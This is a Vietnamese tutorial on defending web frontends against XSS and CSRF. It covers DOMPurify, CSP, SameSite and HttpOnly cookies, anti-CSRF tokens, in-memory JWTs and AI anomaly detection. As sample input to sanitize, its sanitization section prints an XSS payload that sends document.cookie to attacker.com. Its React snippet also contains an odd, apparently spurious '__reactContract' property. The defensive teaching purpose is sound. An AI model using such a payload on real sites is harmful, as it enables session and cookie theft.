Mục lục (7)
- 01 Bức tranh toàn cảnh về lỗ hổng XSS và CSRF trong ứng dụng Web
- 02 Triển khai Content Security Policy (CSP) và Sanitization chống XSS
- 03 Triển khai SameSite Cookie và Anti-CSRF Token chống CSRF
- 04 Quản lý Session & JWT Token an toàn ở Client
- 05 Tích hợp AI giám sát hành vi và phát hiện tấn công API
- 06 Thuật ngữ
- 07 Kết luận
Trong bối cảnh các ứng dụng web tại Việt Nam như ngân hàng số, thương mại điện tử và ứng dụng SaaS phát triển bùng nổ, kiến trúc tách biệt Frontend (Single Page Application - SPA) và Backend API đã trở thành chuẩn mực kỹ thuật. Tuy nhiên, sự dịch chuyển này cũng đẩy phần lớn logic xử lý dữ liệu và quản lý phiên làm việc về phía trình duyệt của người dùng. Một đoạn script độc hại lọt qua lớp kiểm duyệt hoặc một yêu cầu giả mạo bị gửi âm thầm có thể nhanh chóng làm rò rỉ dữ liệu của hàng nghìn khách hàng.
Tóm tắt
- XSS (Cross-Site Scripting) cần được ngăn chặn đa lớp bằng cách làm sạch dữ liệu đầu vào/ra, kết hợp với chính sách Content Security Policy (CSP) chặt chẽ.
- CSRF (Cross-Site Request Forgery) được triệt tiêu hiệu quả khi sử dụng thuộc tính cookie
SameSite=Lax/Strictphối hợp cùng cơ chế Anti-CSRF Token hoặc Custom Request Headers.- Quản lý Token an toàn yêu cầu từ bỏ lưu trữ JWT trong
localStoragevà chuyển sang mô hình In-Memory Token kết hợpHttpOnly Cookiecùng hệ thống AI phát hiện bất thường ở tầng API.
Ảnh: Growtika / Unsplash
Bức tranh toàn cảnh về lỗ hổng XSS và CSRF trong ứng dụng Web
Dù XSS và CSRF là hai khái niệm cơ bản trong bảo mật web, nhiều đội ngũ phát triển vẫn thường xuyên nhầm lẫn về bản chất và cơ chế phòng chống của từng loại lỗ hổng.
XSS xảy ra khi kẻ tấn công chèn được mã JavaScript độc hại vào ứng dụng Frontend. Khi người dùng truy cập trang web, đoạn mã này được thực thi trực tiếp trên trình duyệt của nạn nhân với đầy đủ quyền hạn của phiên làm việc hiện tại. Kẻ tấn công có thể đọc nội dung bộ nhớ (DOM, localStorage), lấy cắp thông tin đăng nhập hoặc mạo danh người dùng gửi các request đến Server.
Trong khi đó, CSRF không yêu cầu kẻ tấn công phải thực thi mã lệnh trên ứng dụng của bạn. Thay vào đó, chúng lợi dụng cơ chế tự động gửi cookie của trình duyệt. Kẻ tấn công dụ dỗ người dùng truy cập vào một trang web độc hại do chúng kiểm soát. Trang web này chứa một đoạn mã gửi yêu cầu (HTTP Request) tới API ứng dụng của bạn. Nếu người dùng đang đăng nhập, trình duyệt sẽ tự động đính kèm cookie xác thực, khiến Server lầm tưởng đây là hành động hợp lệ từ phía người dùng.
Bối cảnh bảo mật ứng dụng web tại Việt Nam gần đây ghi nhận nhiều vụ việc khai thác XSS để lấy cắp token tài khoản doanh nghiệp trên các nền tảng quản lý nội dung và bảng điều khiển nội bộ (Admin Dashboard).
Triển khai Content Security Policy (CSP) và Sanitization chống XSS
Để vô hiệu hóa XSS, nguyên tắc cốt lõi là: Không bao giờ tin tưởng dữ liệu do người dùng nhập vào và Giới hạn quyền thực thi script của trình duyệt.
1. Làm sạch dữ liệu (Sanitization)
Khi hiển thị nội dung do người dùng đóng góp (như bình luận, thông tin hồ sơ), bạn bắt buộc phải mã hóa các ký tự HTML đặc biệt (<, >, &, ", '). Đối với các trường hợp cần cho phép định dạng rich-text, hãy sử dụng các thư viện uy tín như DOMPurify thay vì tự viết biểu thức chính quy (Regex).
import DOMPurify from 'dompurify';
// Dữ liệu độc hại nhận từ API hoặc User Input
const rawUserInput = `<img src="x" onerror="fetch('https://attacker.com/steal?cookie=' + document.cookie)">`;
// Làm sạch dữ liệu trước khi chèn vào DOM
const cleanHTML = DOMPurify.sanitize(rawUserInput);
// Trong React, chỉ dùng khi đã qua DOMPurify
function UserComment({ data }) {
return <div dangerouslySetInnerHTML={{ __reactContract: true, __html: DOMPurify.sanitize(data) }} />;
}
2. Thiết lập Content Security Policy (CSP) chặt chẽ
CSP là một header phản hồi từ HTTP Server chỉ dẫn trình duyệt những nguồn tài nguyên nào (JS, CSS, Ảnh) được phép tải và thực thi. Cấu hình CSP đúng chuẩn có thể triệt tiêu phần lớn khả năng phát tác của XSS ngay cả khi đoạn mã độc đã lọt vào DOM.
Content-Security-Policy: default-src 'self'; script-src 'self' https://trustedscripts.example.com; object-src 'none'; base-uri 'self';
Mẹo: Tránh tối đa việc sử dụng
'unsafe-inline'hay'unsafe-eval'trong cấu hìnhscript-src. Hãy sử dụng cơ chếnonce-hoặchash-cho các thẻ script nội tuyến bắt buộc.
Ảnh: Florian Olivo / Unsplash
Triển khai SameSite Cookie và Anti-CSRF Token chống CSRF
Để chống lại CSRF, lập trình viên cần loại bỏ khả năng gửi cookie tự động ngoài ý muốn của trình duyệt khi có các yêu cầu cross-site.
1. Sử dụng thuộc tính SameSite trên Cookie
Đây là lá chắn tự nhiên và hiệu quả nhất hiện nay đối với các ứng dụng web hiện đại.
SameSite=Strict: Cookie sẽ không bao giờ được gửi kèm trong các request cross-site (ngay cả khi người dùng nhấp vào một liên kết từ trang khác dẫn về ứng dụng).SameSite=Lax: Cookie sẽ được gửi kèm trong các truy cập navigation thông thường (nhấp vào linkGET), nhưng bị chặn đối với các request thay đổi dữ liệu nhưPOST,PUT,DELETE. Đây là lựa chọn cân bằng giữa UX và Security.
// Ví dụ cấu hình Cookie an toàn phía Backend (Node.js/Express)
res.cookie('session_id', token, {
httpOnly: true, // Chống XSS đọc cookie
secure: true, // Chỉ gửi qua HTTPS
sameSite: 'lax', // Chống CSRF
maxAge: 3600000 // 1 giờ
});
2. Mô hình Anti-CSRF Token (Double Submit Cookie)
Đối với các ứng dụng có kiến trúc domain phức tạp hoặc ứng dụng kế thừa không thể dùng SameSite=Strict, giải pháp bổ sung là triển khai Anti-CSRF Token. Phía client phải chủ động lấy một token ngẫu nhiên và gửi kèm trong Header của mỗi API Request (ví dụ: X-CSRF-Token). Trang của kẻ tấn công sẽ không thể đọc được token này do vướng chính sách Same-Origin Policy (SOP).
Quản lý Session & JWT Token an toàn ở Client
Một lỗi phổ biến của các kỹ sư Frontend là lưu trữ Access Token (như JWT) vào localStorage hoặc sessionStorage để tiện truy xuất khi gọi API.
| Nơi lưu trữ | Khả năng chống XSS | Khả năng chống CSRF | Khuyến nghị |
|---|---|---|---|
| localStorage / sessionStorage | ❌ Yếu (Script độc có thể đọc) | ✅ Tốt (Không tự động gửi) | Không dùng cho Auth Token quan trọng |
| Standard Cookie | ❌ Yếu (document.cookie) |
❌ Yếu (Tự động gửi) | Không dùng cho Auth Token |
| HttpOnly Cookie | ✅ Tuyệt đối (JS không thể đọc) | ⚠️ Cần SameSite / CSRF Token |
Khuyên dùng cho Refresh Token / Session |
| In-Memory (JS Variable) | ✅ Rất tốt (Mất khi refresh) | ✅ Rất tốt | Khuyên dùng cho Short-lived Access Token |
Mô hình đề xuất:
- Access Token: Giữ tồn tại trong bộ nhớ ứng dụng (
In-Memoryvariable/state Manager) với thời gian sống ngắn (5–15 phút). - Refresh Token: Lưu trữ trong Cookie với các cờ
HttpOnly,Secure, vàSameSite=Lax/Strict.
// Phía Frontend: Tự động xin Access Token mới bằng Refresh Token (HttpOnly Cookie)
import axios from 'axios';
let memoryAccessToken = null;
const api = axios.create({
baseURL: 'https://api.yourdomain.vn',
withCredentials: true // Để trình duyệt tự gửi HttpOnly Refresh Cookie
});
api.interceptors.response.use(
(response) => response,
async (error) => {
const originalRequest = error.config;
if (error.response?.status === 401 && !originalRequest._retry) {
originalRequest._retry = true;
// Gọi API cấp lại Access Token
const res = await api.post('/auth/refresh-token');
memoryAccessToken = res.data.accessToken;
originalRequest.headers['Authorization'] = `Bearer ${memoryAccessToken}`;
return api(originalRequest);
}
return Promise.reject(error);
}
);
Ảnh: Tasha Kostyuk / Unsplash
Tích hợp AI giám sát hành vi và phát hiện tấn công API
Phương pháp phòng chống chủ động truyền thống dựa trên luật (rule-based) dần bộc lộ hạn chế trước các kỹ thuật tấn công tinh vi. Hiện nay, việc ứng dụng Trí tuệ Nhân tạo (AI) và Machine Learning ở tầng API Gateway / WAF đang trở thành tiêu chuẩn mới.
Các mô hình AI học máy giám sát (Supervised) và không giám sát (Unsupervised) như Isolation Forest hay Autoencoders có khả năng phân tích hành vi người dùng theo thời gian thực:
- Phát hiện XSS Payload biến thể: AI phân tích cấu trúc cú pháp của chuỗi truy vấn (query string) và body request để nhận diện các chuỗi mã hóa obfuscated XSS mà các bộ lọc Regex truyền thống bỏ sót.
- Phân tích ngữ cảnh Request (Anomaly Detection): AI liên tục đánh giá tần suất gọi API, sự thay đổi bất thường của
User-Agent, fingerprint trình duyệt và thứ tự thực hiện hành động. Nếu một tài khoản thực hiện chuyển tiền chỉ vài miligiây sau khi nhận request từ một domain lạ, hệ thống AI sẽ gắn cờ CSRF nghi vấn và chặn giao dịch ngay lập tức.
Thuật ngữ
- XSS (Cross-Site Scripting) — Lỗi bảo mật cho phép kẻ tấn công chèn các đoạn mã kịch bản độc hại vào trang web mà người dùng khác đang xem.
- CSRF (Cross-Site Request Forgery) — Kỹ thuật tấn công ép buộc trình duyệt của người dùng thực hiện các hành động không mong muốn trên một ứng dụng mà họ đã xác thực.
- Content Security Policy (CSP) — Cơ chế bảo mật HTTP header quy định các nguồn tài nguyên hợp lệ được phép tải và thực thi trên trang web.
- HttpOnly Cookie — Thuộc tính thiết lập cookie ngăn chặn các đoạn mã JavaScript phía client truy cập vào dữ liệu cookie.
- SameSite Attribute — Cấu hình cookie quyết định việc cookie có được đính kèm trong các truy vấn gửi từ trang web bên ngoài hay không.
Kết luận
Bảo mật API Frontend là một quá trình liên tục và cần cách tiếp cận phòng thủ theo chiều sâu (Defense-in-Depth). Không có một giải pháp đơn lẻ nào có thể giải quyết triệt để mọi nguy cơ. Lập trình viên cần kết hợp chặt chẽ việc làm sạch dữ liệu, áp dụng chính sách CSP, cấu hình HttpOnly/SameSite Cookie, quản lý In-Memory Token và tích hợp các công cụ AI giám sát bất thường. Hãy bắt đầu bằng việc rà soát lại cơ chế lưu trữ token và cấu hình cookie trên hệ thống của bạn ngay hôm nay.
Cảm ơn bạn đã đọc đến đây
Nếu bài viết hữu ích, hãy chia sẻ hoặc khám phá thêm bài khác trong cùng chủ đề.